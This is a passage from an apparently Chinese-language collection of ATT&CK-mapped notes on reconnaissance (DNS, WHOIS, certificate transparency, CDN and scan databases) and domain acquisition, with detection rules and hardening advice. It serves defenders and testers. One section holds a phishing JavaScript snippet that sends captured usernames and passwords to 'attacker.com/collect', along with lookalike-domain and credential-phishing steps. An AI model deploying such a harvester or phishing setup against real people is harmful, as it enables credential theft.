**邮件服务器日志**: - 检测钓鱼邮件或社会工程攻击,可能与DNS信息收集相关。 ## 测试复现 暂无标准化复现流程。可通过以下方式模拟: - **被动收集**: - 使用SecurityTrails或DNS Dumpster查询目标域名的DNS历史记录和子域名。 - 通过Censys分析目标的DNS数据,提取关联IP和NS服务器。 - **主动查询**: - 在授权测试环境中,使用`dig`或`nslookup`查询目标域名的A、MX、NS记录。 - 尝试DNS区域传输,验证目标DNS服务器的配置安全性。 - **字典爆破**: - 使用dnsenum或dnsmap结合子域名字典,枚举目标的子域名。 - **社会工程模拟**: - 在红队测试中,伪装成DNS服务提供商,诱导员工泄露DNS管理凭据。 ## 测试留痕 - **被动DNS查询**:通过公开数据库查询,通常不留明显痕迹。 - **主动DNS查询**:可能在DNS服务器日志中记录异常查询流量。 - **区域传输**:可能在DNS服务器日志中记录AXFR请求。 - **字典爆破**:可能触发DNS服务器的高频查询告警。 - **社会工程**:可能在邮件服务器或员工设备上留下钓鱼交互记录。 ## 检测规则/思路 由于DNS/被动DNS信息收集多发生在目标组织视野之外,检测需结合多种手段: - **DNS查询监控**: - 配置DNS服务器记录查询日志,检测高频查询、区域传输尝试或异常子域名查询。 - 使用DNS防火墙(如Cloudflare Gateway)阻止已知的恶意查询来源。 - **网络流量分析**: - 部署IDS/IPS(如Snort、Suricata)监控异常DNS流量(如AXFR请求或批量查询)。 - 使用Zeek或NetFlow分析DNS请求模式,识别潜在的枚举行为。 - **信息泄露防护**: - 使用DLP(数据丢失防护)工具,检测员工通过邮件或社交媒体泄露DNS相关信息。 - 监控公开信息源(如Pastebin、暗网论坛)中是否出现组织的DNS记录。 - **威胁情报整合**: - 结合威胁情报平台(如微步在线、奇安信),识别已知的DNS查询工具或恶意IP。 - 定期检查被动DNS数据库(如SecurityTrails),评估信息暴露风险。 ## 建议 - **减少信息暴露**: - 使用WHOIS隐私保护服务,隐藏DNS注册的联系信息。 - 定期清理DNS记录,移除不必要的子域名或敏感记录。 - 对员工进行安全意识培训,防止通过社会工程泄露DNS管理凭据。 - **DNS安全加固**: - 禁用不必要的DNS区域传输(AXFR),限制仅授权服务器访问。 - 实施DNSSEC(DNS安全扩展)防止DNS欺骗。 - 使用MFA(多因素认证)保护DNS管理平台。 - **主动监控与响应**: - 使用SecurityTrails或DNS Dumpster定期自查组织的DNS暴露情况,修复问题。 - 部署DNS日志分析工具(如Splunk、ELK),监控异常查询行为。 - 使用威胁狩猎(Threat Hunting)技术,主动搜索可能的DNS侦察活动。 - **后续阶段检测**: - 重点监控攻击者生命周期的后续阶段(如初始访问T1133、钓鱼T1566),通过异常流量或登录行为间接发现DNS侦察活动。 ## 参考资料 - MITRE ATT&CK: T1596-001 - 信息收集——DNS信息收集 - WHOIS查询与安全 ================================================ FILE: Windows/01侦察/T1596.002-搜索开放的技术数据库-WHOIS.md ================================================ # T1596-002-搜索开放的技术数据库-WHOIS ## 描述 攻击者在入侵目标组织之前,可能通过搜索公开的WHOIS数据库收集目标的网络信息。WHOIS数据库由区域互联网注册中心(RIR)维护,存储有关注册域名的详细信息,例如域名所有人、联系信息(姓名、邮箱、电话)、注册商、注册和到期日期、分配的IP块以及DNS名称服务器。这些信息可帮助攻击者了解目标的网络架构、关键联系人或潜在攻击入口。 攻击者可能通过以下方式收集WHOIS信息: - **公开查询**:使用在线WHOIS查询工具或命令行工具(如`whois`)获取域名注册信息。 - **社会工程**:通过钓鱼或伪装身份诱导员工泄露WHOIS管理凭据。 - **被动分析**:结合其他公开数据(如DNS记录、泄露文档)验证WHOIS信息。 - **自动化搜刮**:使用脚本或工具批量查询WHOIS数据,提取目标的关联域名或IP。 收集到的WHOIS信息可能为后续攻击活动做准备,例如主动扫描(T1595)、搜索开放网站/域(T1593)、建立运营资源(T1583/T1584)或通过钓鱼(T1566)或信任关系(T1199)实现初始访问。 ## 测试案例 以下是模拟攻击者收集WHOIS信息的常见方法和工具: - **在线WHOIS查询**: - **站长之家** (): 查询域名注册信息、注册商及到期时间。 - **爱站网** (): 提供域名注册详情和历史记录。 - **IP138** (): 查询域名和关联IP信息。 - **腾讯云域名信息查询** (): 获取域名注册和NS记录。 - **ICANN Lookup** (): 官方WHOIS查询工具。 - **新网WHOIS** (): 查询国内域名注册信息。 - **微步在线** (): 提供WHOIS信息和威胁情报分析。 - **Bugscaner** (): 提供WHOIS和DNS查询功能。 - **命令行工具**: - **whois**: 在Linux/Unix系统中运行`whois target.com`查询域名信息。 - **Nmap WHOIS脚本**: 使用`nmap --script=whois-domain target.com`查询WHOIS信息并扫描目标端口。 - **dnsenum**: 结合WHOIS查询和DNS枚举,获取域名相关信息。 - **社会工程**: - 伪装成域名注册商发送钓鱼邮件,诱导员工泄露WHOIS管理平台凭据。 - 在社交媒体或论坛(如LinkedIn、QQ群)收集员工泄露的域名信息。 - **案例场景**: - 攻击者通过ICANN Lookup查询目标域名的注册邮箱,发现其用于其他服务,发起针对性钓鱼攻击。 - 使用`whois`命令结合Nmap扫描,发现目标的NS服务器存在未打补丁的漏洞,进而发起攻击。 - 参考案例:,通过WHOIS信息收集目标的联系人邮箱并结合社会工程实现初始访问。 ## 检测日志 WHOIS信息收集多通过公开数据库或外部查询进行,难以直接监测。以下是可能的日志来源: - **DNS服务器日志**: - 记录异常的DNS查询,可能与WHOIS数据验证相关。 - **Web服务器日志**: - 检测与WHOIS管理平台相关的异常登录尝试或HTTP请求。 - **邮件服务器日志**: - 监控钓鱼邮件或社会工程攻击,可能与WHOIS信息收集相关。 - **网络流量日志**: - 检测外部主机对组织DNS服务器或管理平台的异常查询。 ## 测试复现 暂无标准化复现流程。可通过以下方式模拟: - **被动收集**: - 使用ICANN Lookup或站长之家查询目标域名的WHOIS记录,记录注册人信息和NS服务器。 - 结合SecurityTrails验证WHOIS数据中的IP块或子域名。 - **主动查询**: - 在授权测试环境中,使用`whois target.com`或`nmap --script=whois-domain target.com`查询WHOIS信息。 - **社会工程模拟**: - 在红队测试中,伪装成注册商发送钓鱼邮件,诱导员工泄露WHOIS管理凭据。 - **综合测试**: - 结合FOFA或Shodan搜索与WHOIS数据关联的资产,验证暴露的服务器或服务。 ## 测试留痕 - **被动WHOIS查询**:通过公开数据库查询,通常不留明显痕迹。 - **主动查询**:可能在DNS服务器或防火墙日志中记录异常查询或扫描流量。 - **社会工程**:可能在邮件服务器或员工设备上留下钓鱼交互记录。 - **WHOIS管理平台**:异常登录尝试可能在管理平台日志中记录。 ## 检测规则/思路 由于WHOIS信息收集多发生在目标组织视野之外,检测需结合多种手段: - **DNS查询监控**: - 配置DNS服务器记录查询日志,检测异常的WHOIS或NS查询模式。 - 使用DNS防火墙(如Cloudflare Gateway)阻止已知的恶意查询来源。 - **网络流量分析**: - 部署IDS/IPS(如Snort、Suricata)监控异常DNS查询或针对管理端口的扫描。 - 使用Zeek或NetFlow分析WHOIS相关请求模式,识别潜在的枚举行为。 - **信息泄露防护**: - 使用DLP(数据丢失防护)工具,检测员工通过邮件或社交媒体泄露WHOIS相关信息。 - 监控公开信息源(如Pastebin、暗网论坛)中是否出现组织的WHOIS数据。 - **威胁情报整合**: - 结合威胁情报平台(如微步在线、奇安信),识别已知的WHOIS查询工具或恶意IP。 - 定期检查WHOIS数据库中的记录,评估信息暴露风险。 ## 建议 - **减少信息暴露**: - 使用WHOIS隐私保护服务,隐藏注册人联系方式和公司信息。 - 定期审查WHOIS记录,移除不必要的敏感信息(如个人邮箱)。 - 对员工进行安全意识培训,防止通过社会工程泄露WHOIS管理凭据。 - **域名安全加固**: - 启用域名注册锁,防止未经授权的域名转移。 - 实施MFA(多因素认证)保护WHOIS管理平台。 - 定期更新NS记录,移除过期的服务器信息。 - **主动监控与响应**: - 使用微步在线或ICANN Lookup定期自查组织的WHOIS暴露情况,修复问题。 - 部署DNS日志分析工具(如Splunk、ELK),监控异常查询行为。 - 使用威胁狩猎(Threat Hunting)技术,主动搜索可能的WHOIS侦察活动。 - **后续阶段检测**: - 重点监控攻击者生命周期的后续阶段(如初始访问T1566、信任关系T1199),通过异常流量或钓鱼行为间接发现WHOIS侦察活动。 ## 参考资料 - MITRE ATT&CK: T1596-002 - Whois信息收集及利用方式 - WHOIS查询与安全 ================================================ FILE: Windows/01侦察/T1596.003-搜索开放的技术数据库-数字签名.md ================================================ # T1596-003-搜索开放的技术数据库-数字签名 ## 描述 攻击者在入侵目标组织之前,可能通过搜索公开的数字证书数据收集目标的网络信息。数字证书由证书颁发机构(CA)签发,用于验证签名内容的来源(如HTTPS SSL/TLS通信)。这些证书通常包含有关注册组织的信息,例如域名、子域名、组织名称、位置和邮箱地址。攻击者可利用这些信息识别目标的网络资产、关键联系人或潜在攻击入口。 攻击者可能通过以下方式收集数字证书信息: - **公开证书透明度(CT)日志**:查询证书透明度数据库(如crt.sh、Censys)以获取目标的SSL/TLS证书详情。 - **被动分析**:从加密网络流量中提取证书信息(如服务器Banner或TLS握手数据)。 - **社会工程**:通过钓鱼或伪装身份诱导员工泄露与证书管理相关的信息。 - **搜索引擎和公开信息**:利用Google或其他平台搜索与目标相关的证书或泄露文档。 收集到的数字证书信息可能为后续攻击活动做准备,例如主动扫描(T1595)、搜索开放网站/域(T1593)、建立运营资源(T1583/T1584)或通过外部远程服务(T1133)或钓鱼攻击(T1566)实现初始访问。 ## 测试案例 以下是模拟攻击者收集数字证书信息的常见方法和工具: - **证书透明度(CT)日志查询**: - **crt.sh** (): 查询目标域名的SSL/TLS证书,获取域名、子域名和邮箱地址。例如,搜索`%.target.com`列出所有相关证书。 - **Censys** (): 分析目标的SSL证书,提取组织信息和关联IP。 - **Facebook CT Search** (): 提供证书透明度日志查询,识别目标的子域名。 - **Google Transparency Report** (): 查看目标域名的证书历史记录。 - **被动证书提取**: - 使用Wireshark捕获目标网站的TLS握手数据,提取SSL/TLS证书中的域名和组织信息。 - 利用Burp Suite分析HTTPS流量,获取证书详情。 - **其他工具**: - **SSLShopper** (): 检查目标域名的证书状态和配置。 - **SSL Labs** (): 分析目标的SSL/TLS配置,提取证书信息。 - **社会工程**: - 伪装成CA或IT管理员发送钓鱼邮件,诱导员工泄露证书管理平台的凭据。 - 在社交媒体或论坛(如LinkedIn、QQ群)收集员工泄露的证书相关信息。 - **案例场景**: - 攻击者通过crt.sh查询目标的子域名,发现未正确配置的测试环境(如test.target.com),并利用其漏洞发起攻击。 - 使用Censys提取目标的SSL证书,获取注册邮箱并发起针对性钓鱼攻击。 - 参考案例:,通过CT日志发现敏感子域名,结合漏洞利用实现初始访问。 ## 检测日志 数字证书信息收集多通过公开数据库或外部查询进行,难以直接监测。以下是可能的日志来源: - **Web服务器日志**: - 检测异常的HTTPS请求或证书检查,可能与证书提取相关。 - **网络流量日志**: - 监控异常的TLS握手流量,识别潜在的证书提取行为。 - **DNS日志**: - 检测针对组织域名的异常查询,可能与CT日志搜索相关。 - **证书管理平台日志**: - 记录异常的登录尝试或证书配置更改。 ## 测试复现 暂无标准化复现流程。可通过以下方式模拟: - **被动收集**: - 使用crt.sh或Censys查询目标域名的SSL/TLS证书,记录子域名和组织信息。 - 通过Wireshark捕获目标网站的TLS握手数据,提取证书详情。 - **主动探测**: - 在授权测试环境中,使用SSL Labs分析目标的SSL/TLS配置,检查证书暴露的信息。 - 测试证书透明度日志,验证是否存在敏感子域名。 - **社会工程模拟**: - 在红队测试中,伪装成CA发送钓鱼邮件,诱导员工泄露证书管理凭据。 ## 测试留痕 - **被动查询**:通过CT日志或公开数据库查询,通常不留明显痕迹。 - **主动探测**:可能在Web服务器或网络流量日志中记录异常的TLS请求或扫描行为。 - **社会工程**:可能在邮件服务器或员工设备上留下钓鱼交互记录。 - **证书管理平台**:异常登录尝试可能在管理平台日志中记录。 ## 检测规则/思路 由于数字证书信息收集多发生在目标组织监测范围之外,检测需结合多种手段: - **网络流量监控**: - 使用IDS/IPS(如Snort、Suricata)检测异常的TLS握手或证书提取行为。 - 部署WAF(Web应用防火墙)监控异常的HTTPS请求,识别证书探测。 - **DNS查询监控**: - 记录针对组织域名的异常DNS查询,可能与CT日志搜索相关。 - 使用DNS防火墙(如Cloudflare Gateway)阻止已知的恶意查询来源。 - **信息泄露防护**: - 使用DLP(数据丢失防护)工具,检测员工通过邮件或社交媒体泄露证书相关信息。 - 监控公开信息源(如Pastebin、暗网论坛)中是否出现组织的证书数据。 - **威胁情报整合**: - 结合威胁情报平台(如微步在线、奇安信),识别已知的CT日志查询工具或恶意IP。 - 定期检查CT日志(如crt.sh),评估暴露的子域名或邮箱风险。 ## 建议 - **减少信息暴露**: - 使用子域名最小化策略,避免在证书中暴露敏感子域名。 - 配置SSL/TLS证书时,限制公开的组织信息(如邮箱、地址)。 - 定期检查CT日志(如crt.sh),识别并移除不必要的子域名记录。 - **证书安全加固**: - 使用强加密算法和最新TLS协议(如TLS 1.3)保护证书。 - 实施MFA(多因素认证)保护证书管理平台。 - 定期更新和续期证书,防止过期或泄露。 - **主动监控与响应**: - 使用Censys或SSL Labs定期自查组织的证书暴露情况,修复配置问题。 - 部署网络流量分析工具(如Zeek、NetFlow)监控异常TLS流量。 - 使用威胁狩猎(Threat Hunting)技术,主动搜索可能的证书侦察活动。 - **后续阶段检测**: - 重点监控攻击者生命周期的后续阶段(如初始访问T1133、钓鱼T1566),通过异常流量或登录行为间接发现侦察活动。 ## 参考资料 - MITRE ATT&CK: T1596-003 - 全流程信息收集方法总结 - 渗透测试之信息收集(二) ================================================ FILE: Windows/01侦察/T1596.004-搜索开放的技术数据库-CDN.md ================================================ # T1596-004-搜索开放的技术数据库-CDN ## 描述 攻击者在入侵目标组织之前,可能通过搜索内容分发网络(CDN)相关数据收集目标的网络信息。CDN通过分布式服务器阵列为组织提供内容托管服务,并支持根据请求者的地理区域优化内容传递。CDN数据可能暴露目标组织的网络资产、服务器配置或错误配置信息(如未受保护的登录门户或敏感文件)。攻击者可利用这些信息识别潜在的攻击入口或弱点。 攻击者可能通过以下方式收集CDN相关信息: - **公开信息查询**:使用空间测绘平台(如Shodan、Censys)或CDN特定工具(如Cloudflare Watch、CDN Finder)查找目标的CDN服务提供商、边缘服务器IP或配置细节。 - **错误配置探测**:搜索CDN配置错误,如未正确隐藏的源服务器IP、暴露的调试信息或未受保护的资源。 - **社会工程**:通过钓鱼或伪装身份获取CDN管理平台的凭据或配置信息。 - **被动分析**:分析公开的CDN错误页面、SSL证书或DNS记录,推测目标的网络架构。 收集到的CDN信息可能为后续攻击活动做准备,例如主动扫描(T1595)、搜索开放网站/域(T1593)、建立运营资源(T1583/T1584)或通过路过式下载(T1189)或漏洞利用(T1190)实现初始访问。 ## 测试案例 以下是模拟攻击者收集CDN信息的常见方法和工具: - **CDN信息查询**: - **Shodan** (): 搜索目标的CDN边缘服务器IP或暴露的服务。例如,查询`http.favicon.hash:`以识别CDN托管的资产。 - **Censys** (): 分析目标的SSL证书或开放端口,推测CDN提供商。 - **FOFA** (): 使用语法如`header="cloudflare" && domain="target.com"`查找目标的CDN配置。 - **CDN Finder** (): 识别目标使用的CDN服务(如Cloudflare、Akamai)。 - **Cloudflare Watch** (): 专门用于查询Cloudflare CDN的配置和边缘服务器信息。 - **错误配置探测**: - 检查CDN错误页面(如403/404页面)是否泄露源服务器IP或调试信息。 - 使用DNS历史记录工具(如SecurityTrails)查找CDN隐藏的源服务器IP。 - 测试CDN未正确配置的子域名,寻找直接访问源服务器的机会。 - **社会工程**: - 伪装成CDN服务提供商发送钓鱼邮件,诱导员工泄露CDN管理凭据。 - 在社交媒体或论坛(如QQ群、Reddit)收集员工泄露的CDN配置信息。 - **案例场景**: - 攻击者通过FOFA查询目标的CDN边缘服务器,发现未受保护的调试接口,泄露源服务器IP。 - 使用Cloudflare Watch识别目标的Cloudflare配置错误,直接访问源服务器并利用未打补丁的漏洞。 - 参考案例:,通过负载均衡或CDN配置漏洞(如未正确配置的WAF规则)获取敏感信息。 ## 检测日志 CDN信息收集多通过公开数据库或外部查询进行,难以直接监测。以下是可能的日志来源: - **CDN服务日志**: - 记录来自CDN管理平台的异常登录尝试或配置更改。 - **网络流量日志**: - 检测针对CDN边缘服务器的异常扫描或探测流量。 - **Web服务器日志**: - 监控异常的HTTP请求,可能与CDN错误页面探测或爬取相关。 - **DNS日志**: - 检测针对组织域名的异常DNS查询,可能与CDN配置分析相关。 ## 测试复现 暂无标准化复现流程。可通过以下方式模拟: - **被动收集**: - 使用Shodan或Censys查询目标的CDN边缘服务器IP或SSL证书信息。 - 通过SecurityTrails分析DNS历史记录,尝试识别CDN隐藏的源服务器IP。 - **主动探测**: - 在授权测试环境中,使用Nmap扫描目标的CDN边缘服务器,记录开放端口或服务。 - 测试CDN错误页面(如直接访问不存在的子域名),检查是否泄露源服务器信息。 - **社会工程模拟**: - 在红队测试中,伪装成CDN提供商,诱导员工泄露管理凭据或配置细节。 ## 测试留痕 - **被动查询**:通过公开CDN数据库或DNS记录查询,通常不留明显痕迹。 - **主动探测**:可能在CDN日志或防火墙中记录异常的扫描流量或HTTP请求。 - **错误配置利用**:可能在Web服务器日志中记录直接访问源服务器的请求。 - **社会工程**:可能在邮件服务器或员工设备上留下钓鱼交互记录。 ## 检测规则/思路 由于CDN信息收集活动多发生在目标组织监测范围之外,检测需结合多种手段: - **CDN日志监控**: - 配置CDN管理平台(如Cloudflare、Akamai)记录异常访问或配置更改。 - 监控CDN错误页面(如403/404)的访问日志,检测可能的探测行为。 - **网络流量分析**: - 使用IDS/IPS(如Snort、Suricata)检测针对CDN边缘服务器的异常扫描或端口探测。 - 部署WAF(Web应用防火墙)监控异常HTTP请求,识别CDN配置探测。 - **DNS查询监控**: - 记录针对组织域名的异常DNS查询,可能与CDN源服务器IP泄露相关。 - 使用DNS防火墙(如Cloudflare Gateway)阻止已知的恶意查询来源。 - **威胁情报整合**: - 结合威胁情报平台(如微步在线、奇安信),识别已知的CDN扫描工具或恶意IP。 - 监控公开数据泄露(如Pastebin),检查是否包含组织的CDN配置信息。 ## 建议 - **减少信息暴露**: - 使用CDN隐藏源服务器的真实IP地址,确保所有流量通过CDN路由。 - 配置CDN错误页面,避免泄露调试信息或源服务器细节。 - 定期检查DNS记录,删除不必要的子域名或暴露的记录。 - **CDN安全加固**: - 启用CDN的WAF功能,保护登录门户和其他敏感资源。 - 实施MFA(多因素认证)保护CDN管理平台。 - 定期审计CDN配置,确保没有错误配置(如未加密的源服务器通信)。 - **主动监控与响应**: - 使用Shodan或FOFA定期自查组织的CDN暴露情况,修复配置问题。 - 部署网络流量分析工具(如Zeek、NetFlow)监控异常CDN流量。 - 使用威胁狩猎(Threat Hunting)技术,主动搜索可能的CDN侦察活动。 - **后续阶段检测**: - 重点监控攻击者生命周期的后续阶段(如初始访问T1189、漏洞利用T1190),通过异常流量或登录行为间接发现CDN侦察活动。 ## 参考资料 - MITRE ATT&CK: T1596-004 - 挖洞经验 | 从负载均衡或CDN应用中发现的配置类漏洞 - 渗透测试之信息收集DNS篇 ================================================ FILE: Windows/01侦察/T1596.005-搜索开放的技术数据库-公开的扫描数据库.md ================================================ # T1596-005-搜索开放的技术数据库-公开的扫描数据库 ## 描述 攻击者在入侵目标组织之前,可能通过搜索公开的扫描数据库收集目标的网络信息。这些数据库通常包含通过互联网扫描收集的数据,例如活跃IP地址、主机名、开放端口、SSL证书、服务器Banner以及其他服务指纹信息。这些信息可帮助攻击者识别目标的网络资产、暴露的服务或潜在漏洞。 攻击者可能使用以下方式收集信息: - **在线扫描数据库**:利用空间测绘平台(如Shodan、FOFA、ZoomEye、Quake)查询目标的网络资产。 - **被动信息收集**:分析公开数据库中的历史扫描数据,推测目标的网络架构或服务分布。 - **社会工程结合**:结合从其他渠道(如社交媒体、泄露文档)获取的信息,验证扫描数据库中的数据。 收集到的信息可能为后续攻击活动做准备,例如主动扫描(T1595)、搜索开放网站/域(T1593)、建立运营资源(T1583/T1584)或利用外部远程服务(T1133)或公开应用漏洞(T1190)实现初始访问。 ## 测试案例 以下是模拟攻击者使用公开扫描数据库收集信息的常见方法和工具: - **空间测绘平台**: - **Shodan** (): 查询目标的IP地址、开放端口、服务器Banner和SSL证书信息。例如,搜索`org:TargetCorp port:3389`查找目标组织的远程桌面服务。 - **FOFA** (): 通过搜索语法(如`host="*.target.com" && port="80"`)发现目标的Web服务器或子域名。 - **ZoomEye** (): 搜索目标的网络设备指纹,如路由器、摄像头或VPN网关。 - **Quake** (): 提供基于威胁情报的资产搜索,识别目标的暴露服务。 - **其他工具**: - **Censys** (): 查询目标的IP、端口和证书信息,分析网络暴露面。 - **BinaryEdge** (): 提供详细的网络扫描数据和漏洞信息。 - **案例场景**: - 攻击者使用Shodan搜索目标组织的IP范围,发现暴露的RDP服务(端口3389),并尝试弱口令登录。 - 通过FOFA查询`domain="target.com" && protocol="http"`,发现未打补丁的Web服务器,进而利用已知漏洞(如CVE)发起攻击。 - 使用ZoomEye识别目标的物联网设备(如摄像头),利用默认凭据获取访问权限。 ## 检测日志 公开扫描数据库的查询活动通常发生在目标组织监测范围之外,难以直接检测。以下是可能的日志来源: - **网络流量日志**: - 检测来自已知扫描平台(如Shodan、Censys)的IP地址的探测流量。 - **防火墙/IDS日志**: - 记录异常的外部扫描行为,如高频端口扫描或Banner抓取。 - **Web服务器日志**: - 监控异常的HTTP请求,可能与扫描平台的爬取活动相关。 - **DNS日志**: - 检测针对组织域名的异常查询,可能与扫描数据库的资产关联有关。 ## 测试复现 暂无标准化复现流程。可通过以下方式模拟: - **外部测试**: - 使用Shodan或FOFA搜索目标组织的公开资产,如IP地址、开放端口或子域名。 - 结合Censys查询目标的SSL证书,分析托管服务提供商或服务器类型。 - **主动扫描模拟**: - 在授权测试环境中,使用Nmap模拟Shodan的扫描行为,记录开放端口和服务指纹。 - **综合测试**: - 结合ZoomEye和Quake搜索目标的网络设备,推测网络架构并验证暴露服务。 ## 测试留痕 - **被动查询**:通过公开扫描数据库进行的查询通常不留痕迹,难以直接检测。 - **主动扫描**:可能在防火墙或IDS/IPS日志中记录异常的端口扫描或服务探测。 - **Web请求**:可能在Web服务器日志中记录来自扫描平台的爬取请求(如Shodan的User-Agent)。 ## 检测规则/思路 由于公开扫描数据库的查询活动难以直接检测,建议从以下角度进行监控: - **网络流量监控**: - 使用IDS/IPS(如Snort、Suricata)检测来自已知扫描平台(如Shodan、Censys)的IP地址的探测行为。 - 配置防火墙阻止高频扫描流量或针对敏感端口(如3389、22)的探测。 - **服务暴露分析**: - 定期使用Shodan或FOFA自查组织暴露的资产,识别未授权的开放端口或服务。 - 部署WAF(Web应用防火墙)检测异常的HTTP请求或爬取行为。 - **威胁情报整合**: - 结合威胁情报平台(如微步在线、奇安信),识别已知的扫描平台IP或恶意扫描模式。 - 监控公开数据泄露(如Pastebin),检查是否包含组织的资产信息。 - **日志关联**: - 使用SIEM系统(如Splunk、ELK)关联网络流量、防火墙和Web日志,检测异常的扫描模式。 - 监控DNS查询日志,识别与扫描数据库相关的域名解析行为。 ## 建议 - **减少暴露面**: - 定期审计网络资产,关闭不必要的开放端口和服务(如RDP、SSH)。 - 使用CDN或WAF隐藏关键服务器的真实IP地址。 - 配置SSL证书,隐藏服务器Banner和指纹信息。 - **网络安全加固**: - 实施网络分段,限制外部对内部服务的直接访问。 - 使用强身份验证(如MFA)保护暴露的服务(如VPN、远程桌面)。 - 定期更新和打补丁公开服务,防止已知漏洞被利用。 - **主动监控与响应**: - 使用Shodan或FOFA定期自查组织的网络暴露情况,及时修复问题。 - 部署网络流量分析工具(如Zeek、NetFlow)监控异常扫描行为。 - 使用威胁狩猎(Threat Hunting)技术,主动搜索可能的侦察活动。 - **后续阶段检测**: - 重点监控攻击者生命周期的后续阶段(如初始访问T1133、漏洞利用T1190),通过异常登录或网络流量间接发现侦察活动。 ## 参考资料 - MITRE ATT&CK: T1596-005 - 渗透测试之信息收集DNS篇 - 收集域名信息与安全 ================================================ FILE: Windows/02资源开发/T1583.001-获取基础设施-域名.md ================================================ # T1583-001-获取基础设施-域名 ## 描述 攻击者在入侵目标组织之前,可能购买或注册域名以支持目标定位和攻击执行。域名是人类可读的名称,用于表示一个或多个IP地址,可通过域名注册商购买或在某些情况下免费获得。攻击者可能利用这些域名开展多种恶意活动,例如网络钓鱼(T1566)、路过式下载(T1189)、命令与控制(T1102)或恶意软件分发。 攻击者可能采取以下策略获取和使用域名: - **相似域名伪造**:注册与合法域名相似的域名(如错别字域名、同形异义字或不同顶级域名TLD),用于钓鱼或欺骗。 - **国际化域名(IDN)**:利用Unicode字符创建外观相似的域名,混淆用户。 - **私有WHOIS服务**:使用隐私保护服务隐藏域名注册信息,增加追踪难度。 - **分散注册**:通过多个注册商和不同注册信息购买域名,掩盖基础设施关联性。 - **抢注域名**:抢注过期或即将过期的域名,用于恶意活动。 收集到的域名基础设施可能为后续攻击提供支持,例如通过钓鱼实现初始访问、建立命令与控制通道或分发恶意载荷。 ## 测试案例 以下是模拟攻击者获取和使用域名的常见方法和案例: - **相似域名注册**: - 注册类似目标组织的域名(如`meituam.cn`伪装`meituan.com`),用于钓鱼。 - 示例:攻击者注册`app1e.com`(使用数字“1”替代字母“l”)冒充`apple.com`,诱导用户输入凭据。 - **私有WHOIS**: - 使用隐私保护服务(如WhoisGuard、Privacy.com)隐藏注册信息。 - **钓鱼网站搭建**: - 在伪造域名上部署钓鱼页面,模仿目标组织的登录界面。 - 示例:参考案例 ,不法分子搭建`www.meituam.cn`,通过短信诱导商户输入个人信息和缴费,涉案金额80余万元。 - **国际化域名(IDN)**: - 注册类似`xn--pple-4ua.com`(显示为`äpple.com`)的IDN域名,欺骗用户。 - **工具支持**: - 使用GoDaddy、Namecheap等注册商购买域名。 - 使用自动化工具(如DomainTools)查询目标相关域名,寻找可抢注的过期域名。 - **案例场景**: - 攻击者注册`target-corp-login.com`,搭建伪装的员工登录页面,通过钓鱼邮件分发链接,窃取凭据。 - 在电商平台冒充Apple服务,注册`app1e-support.com`,诱导用户输入账户密码,实现“软解密”欺诈。 ## 检测日志 域名获取活动多发生在目标组织监测范围之外,难以直接监测。以下是可能的日志来源: - **DNS日志**: - 检测异常的DNS查询,可能与伪造域名或IDN相关。 - **邮件服务器日志**: - 监控钓鱼邮件,可能包含伪造域名的恶意链接。 - **Web服务器日志**: - 记录访问伪造域名的异常HTTP请求。 - **威胁情报日志**: - 记录与已知恶意域名或注册商相关的活动。 ## 测试复现 以下是模拟攻击者获取域名的步骤: 1. **环境准备**: - 选择目标组织(如`target.com`),分析其域名结构。 - 准备测试环境,确保在授权范围内操作。 2. **域名注册**: - 使用Namecheap或GoDaddy注册类似域名(如`target-corp.com`)。 - 启用WHOIS隐私保护服务,隐藏注册信息。 3. **钓鱼页面搭建**: - 在注册的域名上部署伪装的登录页面,使用HTML模板模仿目标网站。 - 嵌入JavaScript收集用户凭据: ```javascript document.getElementById('login-form').addEventListener('submit', function(e) { e.preventDefault(); var data = { username: document.getElementById('username').value, password: document.getElementById('password').value }; fetch('http://attacker.com/collect', { method: 'POST', body: JSON.stringify(data) }); }); ``` 4. **分发钓鱼链接**: - 通过邮件或社交媒体发送伪造域名链接,诱导用户访问。 5. **结果分析**: - 收集捕获的凭据,分析钓鱼效果。 6. **日志收集**: - 收集DNS、邮件和Web服务器日志,验证伪造域名的使用痕迹。 ## 测试留痕 域名获取和使用可能留下以下痕迹: - **DNS查询**:异常的DNS解析请求,涉及伪造域名或IDN。 - **邮件服务器日志**:钓鱼邮件中包含伪造域名的链接。 - **Web服务器日志**:访问伪造域名的HTTP请求,或异常的404/403响应。 - **威胁情报**:已知恶意域名的注册信息或IP关联。 ## 检测规则/思路 由于域名获取活动多发生在目标组织视野之外,检测需结合多种手段: - **DNS监控**: - 检测异常DNS查询,重点关注与目标域名相似的伪造域名。 - 示例DNS防火墙规则: ```plaintext Rule: Detect Similar Domains Condition: DNS query contains "target" AND NOT "target.com" Action: Alert ``` - **邮件监控**: - 使用DLP(数据丢失防护)工具检测钓鱼邮件,重点检查包含伪造域名的链接。 - 示例DLP规则: ```plaintext Rule: Detect Phishing Domains Condition: Email contains "http" AND NOT "target.com" Action: Alert ``` - **WHOIS查询**: - 使用DomainTools或ICANN Lookup监控与目标域名相似的注册活动。 - 示例:查询`*.target*`的WHOIS记录,检测错别字域名。 - **威胁情报整合**: - 结合威胁情报平台(如微步在线、奇安信),识别已知的恶意域名或注册商。 - 监控Pastebin或暗网论坛,检查是否出现与目标相关的伪造域名。 - **日志关联**: - 使用SIEM(如Splunk、ELK)关联DNS、邮件和Web日志,检测伪造域名的使用模式。 ## 建议 - **减少暴露面**: - 注册与组织域名相似的防御性域名,防止错别字域名攻击。 - 使用WHOIS隐私保护服务,隐藏合法域名的注册信息。 - **安全意识培训**: - 对员工进行钓鱼防御培训,警惕伪造域名的恶意链接。 - 教育员工验证域名真实性,避免访问可疑网站。 - **安全加固**: - 配置DNS防火墙(如Cloudflare Gateway)拦截伪造域名查询。 - 实施MFA(多因素认证)保护与域名相关的账户。 - 使用WAF保护合法网站,拦截异常流量。 - **主动监控与响应**: - 使用DomainTools或WhoisXML API定期监控新注册的相似域名。 - 部署Google Alerts,监控与组织相关的伪造域名提及。 - 使用威胁狩猎(Threat Hunting)技术,主动搜索可能的域名滥用活动。 - **后续阶段检测**: - 重点监控攻击者生命周期的后续阶段(如初始访问T1566、命令与控制T1102),通过异常流量或钓鱼行为间接发现域名获取活动。 ## 参考资料 - MITRE ATT&CK: T1583-001 - 不法分子高仿某外卖平台网站,入驻商户遭遇“钓鱼攻击” - 全流程信息收集方法总结 ================================================ FILE: Windows/02资源开发/T1583.002-获取基础设施-DNS服务.md ================================================ # T1583-002-获取基础设施-DNS服务 ## 描述 